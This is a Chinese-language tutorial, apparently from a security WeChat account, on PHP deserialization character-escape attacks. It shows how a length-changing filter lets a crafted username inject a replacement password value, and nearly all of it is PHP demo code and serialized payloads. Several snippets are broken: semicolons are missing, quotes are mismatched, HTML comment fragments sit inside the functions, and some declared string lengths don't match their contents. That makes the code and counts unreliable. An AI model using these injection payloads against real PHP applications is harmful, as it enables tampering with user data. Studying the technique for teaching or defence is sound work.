1
免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
<?php
$str = "a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}"
var_dump(unserialize($str));
?>;
#输出结果
/*
array(2){
[0]=>; string(4) "flag"
[1]=>; string(6) "mikasa"
}
*/
<?php
$str = "a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}abc"
var_dump(unserialize($str));
?>;
#输出结果依然和上面的相同
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外)并且是根据长度判断内容的
;}
结尾,实际上字符串序列化是以;}
结尾的,但对象序列化是直接}
结尾反序列化之所以存在字符串逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少
<?php
function filter($str){<!-
- -->
return str_replace('x','yy',$str);
}
$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);
$str1 = filter(serialize($user));
//$str2 = filter($_GET['user']);
var_dump(unserialize($str1));
//var_dump(unserialize($str2));
?>;
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
mikasaxxx
,当完成序列化,filter函数处理后的结果为a:2:{i:0;s:9:"mikasayyyyyy";i:1;s:6:"biubiu";}
123456
,反序列化化前的字符串要是 a:2:{i:0;s:6:"mikasa";i:1;s:6:"123456";}
如果说我们输入的是
a:2:{i:0;s:26:"mikasa";i:1;s:6:"123456";}";i:1;s:6:"biubiu";}
";i:1;s:6:"123456";}
数一下是20个字符,";i:1;s:6:"biubiu";}
部分的内容会被当作无效部分被忽略???所以最终输入是a:2:{i:0;s:46:"mikasaxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
a:2:{i:0;s:46:"mikasayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
<?php
function filter($str){<!-
- -->
return str_replace("xx","y",$str);
}
$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);
$str1 = filter(serialize($user));
//$str2 = filter(serialize($_GET['user']));
var_dump(unserialize($str1));
//var_dump(unserialize($str2));
?>;
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
那么把username的值变为mikasaxxxxxx
,当完成序列化,filter函数处理后的结果为a:2:{i:0;s:12:"mikasayyy";i:1;s:6:"biubiu";}
mikasayyy
的长度为9,还会继续往后吞3个字符!但这样会造成语法错误!a:2:{i:0;s:?:"mikasa";i:1;s:5:"biubiu";}";i:1;s:6:"123456";}
";i:1;s:5:"biubiu";}
一共是20个字符!所以需要添加40个x 所以最终的输入时a:2:{i:0;s:46:"mikasaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:5:"biubiu";}";i:1;s:6:"123456";}
a:2:{i:0;s:46:"mikasayyyyyyyyyyyyyyyyyyyy";i:1;s:5:"biubiu";}";i:1;s:6:"123456";}